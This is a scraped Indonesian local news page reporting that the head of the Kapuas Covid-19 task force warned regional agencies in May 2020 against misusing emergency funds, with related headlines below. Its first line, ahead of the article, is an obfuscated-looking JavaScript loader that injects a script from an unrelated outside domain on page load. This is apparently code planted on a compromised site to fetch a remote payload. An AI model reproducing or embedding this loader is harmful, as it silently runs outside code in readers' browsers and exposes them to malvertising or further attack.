(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN. COM, KUALA KAPUAS – Ketua Harian Gugus Tugas Covid-19 Kapuas Panahatan Sinaga mengingatkan kepada sejumlah SOPD untuk tidak menyelewengkan anggaran penanganan wabah corona. Hukuman mati menanti mereka yang melakukan penyelewengan anggaran bencana.
Ditegaskan Panahatan Sinaga yang juga Kepala Pelaksana BPBD Kabupaten Kapuas, jangan sampai penggunaan anggaran terdapat penyimpangan yang akan berimbas pada persoalan hukum.
Berhati-hatilah kepada beberapa SOPD yang sudah direkomendasikan, gunakan dana tanggap darurat dari belanja tidak terduga APBD Kabupaten Kapuas sebesar Rp 56.409.535.125 dengan baik, karena ancaman terjerat pidana mati,” tegas Kepala Pelaksana BPBD Kapuas, Sabtu (9/5/2020).
Karena itu, Kepala Pelaksana BPBD telah menjelaskan apa saja yang perlu menjadi perhatian Gugus Tugas Percepatan Penangangan (GTPP) Covid-19 kabupaten Kapuas. Sehingga beberapa SOPD yang telah menerima dana corona tidak ada alasan tidak bergerak.
“Sekali lagi saya tekankan, dalam menggunakan dana pandemi Covid-19 harus sesuai dengan peruntukanya, kita semua berpacu dengan waktu dan nyawa orang,” terangnya. (kanalkalimantan.com/ags)
KANALKALIMANTAN.COM, BANJARBARU - Dua buah Rancangan Peraturan Daerah (Raperda) Kota Banjarbaru disahkan dalam rapat paripurna… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bentuk kepedulian terhadap masyarakat, Unit Binmas Polsek Banjarbaru Utara memberikan bantuan sebuah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Aktivitas peternakan babi di Kota Banjarbaru kembali menjadi sorotan. Selain dikeluhkan atas… Read More
KANALKALIMANTAN.COM.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Barat dan tim gabungan berhasil menangkap ARM (21),… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puluhan peternak babi di Jalan Pandarapan RT 34 RW 5, Kelurahan Guntung… Read More
KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More
This website uses cookies.